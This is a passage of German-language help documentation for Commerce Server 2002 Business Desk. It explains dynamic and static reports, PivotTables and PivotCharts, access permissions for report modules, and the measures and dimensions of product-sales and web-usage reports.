Sie können mithilfe der PivotTable-Steuerelemente einen abgeschlossenen dynamischen Bericht in Microsoft Excel exportieren. Dieser lässt sich dann in Microsoft Excel speichern, ändern und drucken. Wenn Sie einen abgeschlossenen dynamischen Bericht in Microsoft Excel exportieren möchten, muss Microsoft Excel auf demselben Computer installiert sein, auf dem dieser Bericht gespeichert ist.

Im Gegensatz zu statischen Berichten können die Ergebnisse eines dynamischen Berichts nicht in das Listen-Manager-Modul exportiert werden.

Erstellen neuer dynamischer Berichte

Neue dynamische Berichtsdefinitionen können auf der Grundlage beliebiger Business Desk-Standardberichte erstellt werden.

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Features von dynamischen und statischen Berichten

PivotTables

PivotTable-Feldliste

PivotCharts

Drillthroughberichte

Erstellen einer neuen dynamischen Berichtsdefinition

Exportieren eines dynamischen Berichts

Ausgeblendete Dimensionen

Statische Berichte


Drillthroughberichte

Ein Drillthroughbericht ist ein dynamischer Bericht mit detaillierten Informationen über alle Dimensionen des Cubes, in dem die aktivierte Dimension enthalten ist.

In Commerce Server ist der folgende dynamische Bericht drillthroughfähig: Bericht "Produktverkäufe".

Im Rahmen der Programmierung können Sie für die Drillthroughvorgänge eine zulässige Höchstzahl von Datensätzen konfigurieren und die Drillthroughfunktion für weitere Berichte aktivieren.

Siehe auch

Features von dynamischen und statischen Berichten

Dynamische Berichte

Statische Berichte


Statische Berichte

Ein statischer Bericht ist ein Bericht, der auf Anforderung sofort erstellt und anschließend gemeinsam mit den Daten im Data Warehouse gespeichert wird. (Dies unterscheidet sich vom dynamischen Bericht, bei dem nur die zur Erstellung des Berichts notwendigen Daten im Data Warehouse gespeichert werden). Sie können statische Berichte in Ihrer Website bereitstellen und die Daten eines statischen Berichts in das Listen-Manager-Modul in Business Desk exportieren.

Verwenden Sie das Modul "Berichte" dazu, statische Berichte auszuführen, und das Modul "Abgeschlossene Berichte", um diese anzuzeigen.

Mit statischen Berichten lassen sich Berichte mit sehr großen Datensets anzeigen. Allerdings kann dies sehr zeitaufwändig sein. Während der Bericht ausgeführt wird, wird der Berichtsstatus im Modul "Abgeschlossene Berichte" als Ausstehend gekennzeichnet. Ein abgeschlossener statischer Bericht wird als HTML-Dokument in einem neuen Browserfenster von Microsoft Internet Explorer geöffnet.

Anpassen der Ergebnisse eines statischen Berichts

Die Ergebnisse eines statischen Berichts werden anhand seiner Eigenschaften im Dialogfeld Berichtsparameter angepasst. Sie können jeden Parameter, auf dem der Bericht basiert, ändern oder einen neuen Wert für ihn eingeben. Beispiel:

  • Wenn Sie einen Bericht ausführen, der einen Datumsparameter hat, können Sie ein genaues Datum, einen Datumsbereich oder ein relatives Datum, wie das letzte Jahr, auswählen.
  • Bei einem statischen Bericht mit einem Ausdrucksparameter können Sie für die Ausführung aus einer umfassenden Sammlung von Operanden wählen, um den gewünschten Ausdruck zu erstellen.

Nach Ausführung eines statischen Berichts können dessen Ergebnisse im Browserfenster nicht mehr verändert werden. Sie können jedoch die Funktionen von Internet Explorer verwenden, um den Bericht zu drucken oder als Datei zu speichern, so wie Sie das mit jeder HTML-Datei tun können. Informationen über die Features von Internet Explorer finden Sie in der Hilfe zu Internet Explorer.

Hinweis

  • Zum Erstellen eines benutzerdefinierten statischen Berichts verwenden Sie bzw. Ihr Siteentwickler SQL-Skripts. Weitere Informationen über Beispielskripts und Tools für statische Berichte finden Sie in der Commerce Server 2002-Hilfe unter "Business Analytics Samples" (englisches Thema).

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Commerce Server 2002-Berichte

Ausführen von Berichten

Exportieren eines dynamischen Berichts

Erstellen einer neuen dynamischen Berichtsdefinition

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten


Verwenden von Berichten über Domänen

Wenn Sie in einem Commerce Server Data Warehouse mehrere Websites ausführen, können Sie dynamische oder statische Berichte auf einer einzelnen, auf mehreren oder auf allen Sites des Data Warehouse ausführen.

Hinweis

  • Bei mehreren Websites und Business Desk-Anwendungen können Sie statische Berichte auf Grundlage der Daten mehrerer Sites erstellen. Sie können jedoch nur die statischen Berichte aus der Business Desk-Anwendung anzeigen, die Sie zum Erstellen der Berichte verwendet haben.


Berichtsdefinitionen

Eine Berichtsdefinition gibt die Zeilendimensionen, Spaltendimensionen und Measures an, die in einen Bericht aufgenommen werden sollen, und enthält Informationen zur Darstellungsweise der Berichte. Bei jeder Ausführung eines Berichts werden in der SQL Server-Datenbank bzw. in den OLAP-Cubes des Analysis-Servers aktuelle Daten abgefragt.

Das Berichtsmodul enthält Definitionen für zwei Arten von Berichten: statische und dynamische Berichte. Bei statischen Berichten werden die Daten im HTML-Format dargestellt. Dynamische Berichte verwenden Office Web-Steuerelemente, um die Daten als Snapshot darzustellen.

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Features von dynamischen und statischen Berichten

Commerce Server 2002-Berichte


Dimensionen und Measures

Die in einem Bericht zurückgegebenen Daten werden durch Dimensionen und Measures festgelegt, die in der Berichtsdefinition enthalten sind. Measures und Dimensionen dienen der Anzeige von Berichten:

  • Measures sind numerische Entitäten, die auf eine bestimmte Art und Weise aggregiert sind, z. B. Minimum, Maximum, Anzahl, Summe und Durchschnitt. Ferner gibt es berechnete Measures, die auf mathematischen Operationen mit mehreren Measures basieren.
  • Dimensionen sind Geschäftseinheiten, z. B. Farbe, Größe, Produkt oder Zeit. Durch die Kombination von Dimensionen und Measures stellen die Berichtsdefinitionen von Commerce Server 2002 mengen- und zeitabhängige Informationen zur Verfügung.

In einigen Berichten werden die numerischen Werte (Measures) als Funktion der Zeit gemittelt. In diesen Fällen muss berücksichtigt werden, inwiefern sich die Berechnung, das Zeitintervall und der physische Speicherort der Werte auf das Berichtsergebnis auswirken. Beispielsweise können folgende Measures verwendet werden:

  • Durchschnittliche Anforderungen pro Stunde
  • Durchschnittliche Anforderungen pro Wochentag
  • Durchschnittliche Besuche pro Stunde
  • Durchschnittliche Besuche pro Wochentag

Zur Mittlung dieser Werte dient das Zeitintervall als Basis, das der aktuellen Zelle der PivotTable zu Grunde liegt. Wenn mehrere Zeitintervalle in einem Bericht zusammengefügt werden, berechnet der OLAP-Cube den Schnittpunkt der Zeitintervalle, um die Zeitspanne zu ermitteln, über die der Mittelwert berechnet werden soll.

Beispiel: Eine Zelle enthält einen Durchschnittswert pro Stunde (z. B. durchschnittliche Anforderungen pro Stunde). In einer Spalte, die einen Schnittpunkt mit der Zeile hat, die als Datum Juni 2000 und als Tageszeit 12:00 anzeigt, enthält diese Zelle die Summe der Aktivitäten, die im Juni 2000 zwischen 12:00 und und 13:00 auftraten, dividiert durch 30 (da der Juni 30 Tage hat und das festgelegte Zeitintervall täglich vorkommt).

Wenn Sie einen statischen Bericht ausführen, können Sie die Parameter der zurückzugebenden Daten ändern. Sie können z. B. die Daten von nur 25 Benutzern anfordern, die etwas gekauft haben. Die Dimensionen und Measures im Bericht lassen sich jedoch nicht ändern.

Wenn Sie einen dynamischen Bericht ausführen, wird eine Liste der verfügbaren Dimensionen und Measures in einer PivotTable oder einer PivotChart angezeigt.

Die Dimensionen und Measures eines dynamischen Berichts lassen sich mithilfe der PivotTable-Feldliste durch Hinzufügen, Entfernen und Ändern ihrer Ausrichtung sowie durch Änderung der im ausgeführten Bericht angezeigten Detailtiefe verändern.

Wenn Sie einen abgeschlossenen dynamischen Bericht ändern, können Sie die Berichtsdefinition einschließlich der Änderungen als neuen Bericht oder als benutzerdefinierte dynamische Berichtsdefinition speichern.

Siehe auch

Features von dynamischen und statischen Berichten

Commerce Server 2002-Berichte

PivotTables

PivotTable-Feldliste

PivotCharts


PivotTables

Eine PivotTable ist eine interaktive Tabelle, in der dynamische Berichte angezeigt werden.

An einer PivotTable bzw. PivotChart in einem dynamischen Bericht können Sie folgende Änderungen vornehmen:

  • Hinzufügen oder Entfernen von Dimensionen als Zeilen oder Spalten sowie Hinzufügen oder Entfernen von Measures.
  • Erweitern oder Reduzieren der für die Dimensionen angezeigten Detailebene.
  • Hinzufügen oder Ändern von Filterdimensionen.

Wenn Sie die Änderungen vorgenommen haben, können Sie den geänderten Bericht als neue dynamische Berichtsdefinition speichern. Diese neue dynamische Berichtsdefinition steht dann im Berichtsmodul von Business Desk zur Verfügung.

Siehe auch

Erstellen einer neuen dynamischen Berichtsdefinition

PivotCharts

PivotTable-Feldliste

Ausgeblendete Dimensionen


PivotTable-Feldliste

Eine PivotTable-Feldliste enthält eine Auflistung von Dimensionen und Measures, die für einen dynamischen Bericht verwendet werden können. Dimensionen und Measures für eine PivotTable werden über die PivotTable-Feldliste hinzugefügt. Diese Feldliste erscheint, wenn der dynamische Bericht in einem Browserfenster angezeigt wird. Wenn die Feldliste nicht automatisch angezeigt wird, klicken Sie auf der Symbolleiste auf Feldliste.

Die Feldliste zeigt die Dimensionen und Measures an, die in einem dynamischen Bericht eingefügt werden können. Dimensionen und Measures in Fettschrift gehören zur Standardansicht eines Berichts. Die nicht fett formatierten Elemente können im Bericht optional verwendet werden. Sie können Dimensionen und Measures über Drag & Drop zu einem Bericht hinzufügen.

In der folgenden Abbildung werden die Bildschirmelemente einer PivotTable-Feldliste dargestellt.

Hinweis

  • Die obige Abbildung zeigt PivotTable-Felder für einen Bericht, der nur in der Commerce Server 2002 Enterprise Edition zur Verfügung steht.

Siehe auch

PivotTables

PivotCharts

Ausgeblendete Dimensionen


Ausgeblendete Dimensionen

Eine Dimension ist ein beschreibendes Attribut eines Measures. So ist beispielsweise "Gesamtsummen" eine Dimension und "Häufigkeit" eine ihrer Measures.

Dimensionen können erweitert und ausgeblendet werden, um die Detailstufe von Informationen in einem Bericht zu ändern.

Ausgeblendete Dimensionen werden in der PivotTable mit einem Pluszeichen (+) links vom Dimensionsnamen dargestellt. Wenn eine Dimension ausgeblendet wird, zeigt die Summe im Bericht eine Rollup-Summe der Dimension insgesamt an. Durch Klicken auf das Pluszeichen neben einem Dimensionsnamen werden die einzelnen Elemente der Dimension angezeigt.

Ausgeblendete Dimensionen werden auf der Ebene sortiert, auf der sie ausgeblendet sind.

Siehe auch

PivotTables

PivotCharts

PivotTable-Feldliste


PivotCharts

Eine PivotChart ist ein interaktives Diagramm, in dem dynamische Berichte angezeigt werden. Wenn Sie auf die Schaltfläche Diagrammtypschaltfläche klicken, wird der dynamische Bericht als einer von mehreren Diagrammtypen angezeigt, die in Commerce Server 2002 zur Verfügung stehen.

Jeder dynamischen Berichtsdefinition ist in Commerce Server 2002 ein Standarddiagrammformat zugewiesen, das Sie aber jederzeit durch ein Diagrammformat Ihrer Wahl ersetzen können. Dimensionen und Measures für eine PivotChart werden über die PivotChart-Feldliste hinzugefügt.

In der nachfolgenden Abbildung werden die Bildschirmelemente einer PivotChart im Bericht "Zusammenfassung der Verwendung pro Wochentag" dargestellt.

Hinweis

  • Die obige Abbildung zeigt eine PivotChart für einen Bericht, der nur in der Commerce Server 2002 Enterprise Edition zur Verfügung steht.

In der PivotChart werden alle Measures der aktuellen PivotTable-Ansicht dargestellt. Wenn die Größe der PivotChart nicht mehr ausreicht, um alle vorhandenen Elemente korrekt anzuzeigen, können Sie versuchsweise einige Measures entfernen, bestimmte Dimensionen reduzieren oder eine Filterdimension hinzufügen.

Die PivotChart unterstützt viele Diagrammformate, die Sie durch Klicken auf die Schaltfläche Diagrammtypschaltfläche in der PivotChart anzeigen und auswählen können.

Hinweis

  • Da bei einigen großen Berichten das erste Rendern etwas mehr Zeit in Anspruch nimmt, ist das Diagramm mit dem Pivot nur verbunden, wenn im Bericht ein Diagramm angezeigt wird oder der Benutzer auf die Schaltfläche Diagramm einblenden klickt.

Siehe auch

Anzeigen von dynamischen Berichten

PivotTables

PivotTable-Feldliste

Ausgeblendete Dimensionen


Sichern von Berichten

Es wird empfohlen, dass Sie und Ihr Systemadministrator die Analysemodule von Business Desk, mit denen Sie Berichte erstellt haben, sowie die Data Warehouse-Datenbanken, in denen die Berichtsdaten enthalten sind, gegen unerwünschten Zugriff sichern. In beiden Fällen erstellt der Systemadministrator Windows-Gruppen für Business Desk-Benutzer, die auf Analysefunktionen zugreifen sollen, und weist diesen Gruppen dann die entsprechenden Zugriffsberechtigungen zu.

Sichern von Analysemodulen

Sichern der Data Warehouse-Datenbanken

Sichern von Analysemodulen

Mithilfe des Moduls "Business Desk-Berechtigungen" können Sie Business Desk-Benutzern Berechtigungen zum Ausführen von Analyseberichten gewähren bzw. verweigern. Sie können Bereiche des Business Desk-Analysemoduls sichern, sodass bestimmte Berichtsfunktionen nur für ausgewählte Benutzer bzw. Benutzergruppen zur Verfügung stehen.

So können Sie beispielsweise durch Deaktivieren der Schaltfläche Ausführen im Berichtsmodul festlegen, dass eine bestimmte Benutzergruppe in Business Desk keine dynamischen Berichte ausführen darf.

Das einzige Standardbenutzerkonto in Business Desk ist die Administratorgruppe BizDesk. Zum Zeitpunkt der Installation einer Business Desk-Anwendung umfasst dieses Gruppenkonto anfänglich die Benutzer in der Windows-Administratorgruppe für den Webserver, auf dem die Business Desk-Anwendung installiert ist.

Ein Mitglied der Administratorgruppe BizDesk verfügt über alle Berechtigungen und kann weitere Benutzer hinzufügen und ihnen neue Zugriffsrechte für Berichte gewähren. Auf der Grundlage neuer Berichtsberechtigungen sind Benutzer in der Lage, neue Berichte zu erstellen und Berichte zu speichern.

Wichtig

  • Mithilfe neuer Berichtsberechtigungen ist ein Business Desk-Benutzer in der Lage, neue SQL-Berichtsabfragen zu erstellen und diese im Data Warehouse zu speichern. Benutzer, die Berichte ausführen, bemerken unter Umständen nicht, dass sie durch eine neue Abfrage Fehler bzw. Verluste verursachen. Dieses potenzielle Risiko muss bei der Zuweisung neuer Berichtsberechtigungen berücksichtigt werden.

Anweisungen zum Festlegen von Business Desk-Berechtigungen finden Sie unter Einrichten von Business Desk-Berechtigungen für Windows-Konten.

Hinweise

  • Wenn Benutzer über die Berechtigung zum Verwenden des Moduls "Kampagnen-Manager" verfügen, können sie mit diesem Modul einen Bericht in den Listen-Manager exportieren und dann auf die Benutzerdaten in dieser Liste zugreifen.

    Um die Benutzerdaten in diesem Szenario zu sichern, muss den Benutzern ausdrücklich die Berechtigung verweigert werden, Berichte in das Listen-Manager-Modul zu exportieren.

  • Wenn ein Benutzer einen dynamischen Bericht ausgeführt hat, sind die Schaltflächen Neu (Neuer Bericht) und Speichern (Bericht speichern) ungeachtet der Berechtigungen des jeweiligen Benutzers in Business Desk aktiviert. Diese Schaltflächen werden nicht direkt über die Business Desk-Sicherheitseinstellungen gesteuert.

    Der Benutzer ist möglicherweise in der Lage, einen dynamischen Bericht außerhalb von Business Desk auszuführen, indem er den URL nutzt, den Business Desk zum Ausführen der Berichte verwendet.

Sichern der Data Warehouse-Datenbanken

Der Systemadministrator sichert die Data Warehouse-Datenbanken, in denen die in Berichten verwendeten Daten enthalten sind. Wenn Benutzer keinen Zugriff auf die Data Warehouse-Datenbanken haben, können sie keine Berichte ausführen.

Der Systemadministrator kann in SQL Server eine Berichtsrolle erstellen und dieser Rolle dann Gruppen von Windows-Konten zuweisen. Weitere Informationen finden Sie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen.

Eine Liste mit Angaben, welche Berichte auf die einzelnen Data Warehouse-Datenbanken zugreifen, finden Sie unter Berichte mit Zugriff auf OLAP-Cubes und SQL Server.

In Commerce Server 2002 können Business Desk-Benutzer dynamische Berichte ausführen, indem sie über die Internetinformationsdienste eine Verbindung zur OLAP-Datenbank aufbauen. Wenn diese Verbindungsmethode konfiguriert ist, kann der PivotTable-Dienst einen Tunnel durch Firewalls oder Proxy-Server zum Analysis Services-Server herstellen. Weitere Informationen finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Siehe auch

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Zugriff auf den Analysis-Server über HTTPS

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Anzeigen von Kontoberechtigungen


Commerce Server 2002-Berichte

Commerce Server 2002 stellt eine Sammlung von 35 Berichtsdefinitionen zur Verfügung. Sie können dynamische Berichtsdefinitionen ändern und daraus neue Berichte erstellen. Anschließend können Sie die neu erstellten dynamischen Berichtsdefinitionen im Berichtsmodul Commerce Server Business Desk speichern. Weitere Informationen über das Erstellen einer neuen dynamischen Berichtsdefinition finden Sie unter Erstellen einer neuen dynamischen Berichtsdefinition.

Hinweis

  • Der Systemadministrator muss verschiedene Aufgaben erledigen, bevor Berichte ausgeführt werden können. Weitere Information finden Sie unter Vorbereitung für die Analyse von Commerce Server-Daten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Produktverkaufsberichte
  • Webverwendungsberichte
  • Benutzerberichte
  • Besuchsberichte
  • Diagnoseberichte
  • Abfragezeichenfolgeberichte
  • Berichtseigenschaften
  • Zeitangaben in Berichten

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Sichern des Data Warehouse

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Produktverkaufsberichte

Mithilfe des Berichtsmoduls lassen sich Berichte zur Analyse von Produktverkäufen ausführen.

Produktverkäufe

Produktverkäufe (dynamisch)

Mithilfe des Berichts "Produktverkäufe" können Sie das Volumen von Produktverkäufen und Einnahmen nach Datum untersuchen. Dieser Bericht zeigt die Gesamtmenge und die Gesamteinnahmen für jede Produktkategorie an. Für jede angezeigte Produktkategorie werden die Verkaufsdaten zu allen Produkten dieser Kategorie sowie allen untergeordneten Kategorien aufgelistet.

Beispielsweise könnten Sie eine Produktkategorienhierarchie mit der obersten Ebene "Elektronik" haben, in der die beiden untergeordneten Kategorien "Uhren" und "Radios" enthalten sind. Der Kauf eines einzelnen Radioweckers, den Sie den Kategorien "Uhren" und "Radios" zugeordnet haben, würde im Bericht unter der Kategorie "Elektronik" mit der Mengenangabe 1 aufgelistet werden, da das Produkt einer Unterkategorie von "Elektronik" angehört.

Wenn Sie die Kategorie "Elektronik" allerdings durch weitere Unterkategorien erweitern, wird der Kauf sowohl unter "Uhren" als auch unter "Radios" mit der Mengenangabe 1 aufgeführt, da der Radiowecker zu beiden Kategorien gehört. Obwohl der Produktkauf in beiden untergeordneten Kategorien von "Elektronik" angezeigt wird, ist das Produkt in der Gesamtsumme für die Kategorie "Elektronik" nur einmal aufgelistet.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Menge | Die Anzahl der verkauften Produkte.
Einnahmen | Die Gesamteinnahmen für die verkauften Produkte.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Verkaufsdatum.
Site | Site, in der der Verkauf stattgefunden hat.
Produktkategorie | Die Produktkategoriehierarchie des verkauften Produkts.
Währung | Währung, in der der Verkauf getätigt wurde.

Hinweis

  • Für die Dimension Produktkategorie sind keine Mehrfachauswahlfilter zulässig.

Zurück zu den Produktverkaufsberichten

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten


Webverwendungsberichte

Mit dem Berichtsmodul lassen sich auch Berichte ausführen, mit denen die Siteverwendung, Verweiser-URLs und Datenanforderungen analysiert werden können.

Aktivität pro Browser

Verzeichnisse

Eingangspfadanalyse

Topverweiser (Domänen) nach Anforderungen

Hauptsächlich angeforderte Seiten

Zusammenfassung der Verwendung pro Wochentag

Zusammenfassung der Verwendung nach Tageszeit

Zusammenfassung der Verwendung pro Kalenderwoche

Verwendungstrends

Aktivität pro Browser (dynamisch)

Mithilfe des Berichts Aktivität pro Browser können Sie Aktivitäten für die einzelnen Browsertypen anzeigen, die auf Ihre Website zugreifen.

Anhand der Informationen aus diesem Bericht können Sie Trends in der Browsertechnologie erkennen, die bei der weiteren Webentwicklung Berücksichtigung finden sollten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Besuche | Anzahl der abgeschlossenen Besuche, bei denen der Benutzer im Berichtszeitraum einen bestimmten Browser verwendet hat. Ein Besuch ist ein willkürlicher Wert, der sich nach der Verweildauer eines Benutzers auf einer Website richtet. Der Standardwert für einen Besuch ist 30 Minuten.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Kategorie für Agent-Browser | Typ der Webbrowsersoftware, die der Benutzer für den Besuch auf dieser Website verwendet hat.
Agent-Version | Version der Webbrowsersoftware, die der Benutzer für den Besuch auf dieser Website verwendet hat.
Betriebssystem | Betriebssystem, das der Benutzer beim Besuch dieser Site verwendet hat.
Benutzer-Agent | Zeichenfolge des Benutzer-Agenten aus der Webprotokolldatei.
Datum | Datum, zu dem ein Benutzer die Site besucht hat.
Site | Die vom Benutzer besuchte Site.

Hinweis

  • Mithilfe der gespeicherten Prozedur CSDW_MakeUserAgentDate kann der Systemadministrator der Dimension "Betriebssystem" weitere Betriebssysteme hinzufügen.

Zurück zu den Webverwendungsberichten

Verzeichnisse (dynamisch)

Mithilfe des Berichts "Verzeichnisse" können Sie ermitteln, welche der 1.000 URI-Verzeichnisebenen (Uniform Resource Identifier) am häufigsten besucht werden. Dieser Bericht zeigt die Aktivitäten auf den ersten sechs Ebenen der URI-Verzeichnisse an.

Hinweis

  • Auch wenn die ersten 1.000 Seiten in einem Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1.000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie andere URI-Informationen sehen möchten als die 1.000 aktivsten URIs, z. B. die am wenigsten aktiven URIs, kann Ihr Systemadministrator die in der Sitedatenbank gespeicherte Prozedur CSDW_MakeAggRequestsByUri entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Zugriffsanzahl | Die Gesamtanzahl der während des Berichtszeitraums erfolgten Zugriffe.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, zu dem der Zugriff erfolgte.
Verzeichnisebene | Die Verzeichnisebene zu dieser Site. (Commerce Server unterstützt bis zu sechs Ebenen.)
Ist-Anforderung | Zugriff in Form einer Anforderung (z. B. von Anzeigen).
Site | Site, auf die zugegriffen wurde.

Zurück zu den Webverwendungsberichten

Eingangspfadanalyse (statisch)

Mit dem Bericht "Eingangspfadanalyse" ermitteln Sie die Eingangspfade, über die Besucher am häufigsten zu Ihrer Site gelangen. Dieser Bericht zeigt die ersten sechs Ebenen der Pfadverzeichnisse an.

Hinweis

  • Der Bericht "Eingangspfadanalyse" führt eine intensive Analyse über die Art und Weise durch, wie Benutzer zu Ihrer Site gekommen sind. Diese Aufgabe stellt hohe Ressourcenanforderungen und kann sehr viel Zeit zur Fertigstellung benötigen.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anzahl | Anzahl der Seiten, die Benutzer von der Site aus aufgerufen haben.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
URI 1 | URI (Universal Resource Identifier) für den ersten Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)
URI 2 | URI für den zweiten Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)
URI 3 | URI für den dritten Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)
URI 4 | URI für den vierten Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)
URI 5 | URI für den fünften Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)
URI 6 | URI für den sechsten Pfad zu einer Seite der besuchten Website. (Commerce Server unterstützt die Aufzeichnung von bis zu sechs URIs.)

Zurück zu den Webverwendungsberichten

Topverweiser (Domänen) nach Anforderungen (dynamisch)

Über den Bericht "Topverweiser (Domänen) nach Anforderungen" lassen sich die Sites ermitteln, von denen aus die Benutzer auf Ihre Site zugreifen. Dieser Bericht zeigt eine Liste der aktivsten Verweiserdomänen, die nach der Anzahl der Anforderungen sortiert ist.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anforderungen % | Prozentsatz der Anforderungen – berechnet als Quotient aus der aktuellen Anforderungsanzahl und den Gesamtanforderungen aller Verweiserdomänennamen.
Anzahl der Anforderungen | Die Gesamtanzahl der während des Berichtszeitraums erfolgten Anforderungen.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Verweiserdomänenname | Domäne, von der ein Benutzer diese Site aufgerufen hat.
Site | Die vom Benutzer besuchte Site.

Zurück zu den Webverwendungsberichten

Hauptsächlich angeforderte Seiten (dynamisch)

Mit dem Bericht "Hauptsächlich angeforderte Seiten" lassen sich die am häufigsten angeforderten Seiten ermitteln. Dieser Bericht zeigt eine Liste der 1.000 aktivsten Seiten einschließlich Abfragezeichenfolgen an, sortiert nach der Anzahl der Anforderungen.

Der Bericht "Hauptsächlich angeforderte Seiten" enthält statistische Angaben zu Einzelseiten. Er ist nicht zu verwechseln mit dem Bericht "Verzeichnisse", in dem die statistischen Daten für alle Seiten innerhalb eines URL-Verzeichnisses aufgelistet sind.

Hinweis

  • Auch wenn die ersten 1.000 Seiten in einem Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1.000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie mehr als die 1.000 aktivsten Seiten anzeigen möchten, z. B. die Seiten mit der geringsten Aktivität, kann Ihr Systemadministrator die gespeicherte Prozedur CSDW_MakeAggRequestsByUri im Data Warehouse entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anforderungen % | Prozentsatz der Anforderungen berechnet als Quotient der Anzahl der Anforderungen der aktivsten Seiten und der Gesamtanforderungen im Berichtszeitraum.
Anzahl der Anforderungen | Die Gesamtanzahl der während des Berichtszeitraums erfolgten Anforderungen.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Ist-Anforderung | Ereignis in Form einer Anforderung.
Site | Site, die angefordert wurde.
URI | URI für die jeweilige angeforderte Seite.

Zurück zu den Webverwendungsberichten

Zusammenfassung der Verwendung pro Wochentag (dynamisch)

Über den Bericht "Zusammenfassung der Verwendung pro Wochentag" lässt sich eine PivotChart anzeigen, die die durchschnittliche Anzahl von Seitenanforderungen und Besuchen pro Wochentag darstellt.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Durchschnittliche Anforderungen pro Tag | Die durchschnittliche Anzahl der im Berichtszeitraum erfolgten Anforderungen pro Tag (Quotient aus der Gesamtzahl der Anforderungen und der Anzahl an Tagen im Berichtszeitraum).
Durchschnittliche Besuche pro Tag | Die durchschnittliche Anzahl der im Berichtszeitraum erfolgten Besuche pro Tag (Quotient aus der Gesamtzahl der Anforderungen und der Anzahl an Tagen im Berichtszeitraum). Ein Besuch ist ein willkürlicher Wert, der sich nach der Verweildauer eines Benutzers auf einer Website richtet. Der Standardwert für einen Besuch ist 30 Minuten.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, zu dem ein Besuch bzw. eine Anforderung erfolgte.
Wochentag | Wochentag, an dem ein Besuch bzw. eine Anforderung erfolgte.
Site | Site, die besucht oder angefordert wurde.

Zurück zu den Webverwendungsberichten

Zusammenfassung der Verwendung nach Tageszeit (dynamisch)

Über den Bericht "Zusammenfassung der Verwendung nach Tageszeit" lässt sich eine PivotChart anzeigen, die die durchschnittliche Anzahl von Seitenanforderungen und Besuchen nach Tageszeit darstellt.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Durchschnittliche Anforderungen pro Stunde | Die durchschnittliche Anzahl der während des Berichtszeitraums erfolgten Anforderungen pro Stunde.
Durchschnittliche Besuche pro Stunde | Die durchschnittliche Anzahl der während des Berichtszeitraums erfolgten Besuche.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, zu dem ein Besuch bzw. eine Anforderung erfolgte.
Tageszeit | Uhrzeit, zu der ein Besuch bzw. eine Anforderung erfolgte.
Site | Site, die besucht oder angefordert wurde.

Zurück zu den Webverwendungsberichten

Zusammenfassung der Verwendung pro Kalenderwoche (dynamisch)

Über den Bericht "Zusammenfassung der Verwendung pro Kalenderwoche" lässt sich eine PivotChart anzeigen, die die durchschnittliche Anzahl von Seitenanforderungen und Besuchen pro Kalenderwoche darstellt.

Hinweis

  • Bei Jahren, die mit einem Samstag beginnen, gibt die Dimension Kalenderwoche als letzte Woche im Jahr die Zahl 53 zurück.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Durchschnittliche Anforderungen pro Woche | Die durchschnittliche Anzahl der im Berichtszeitraum erfolgten Anforderungen pro Woche.
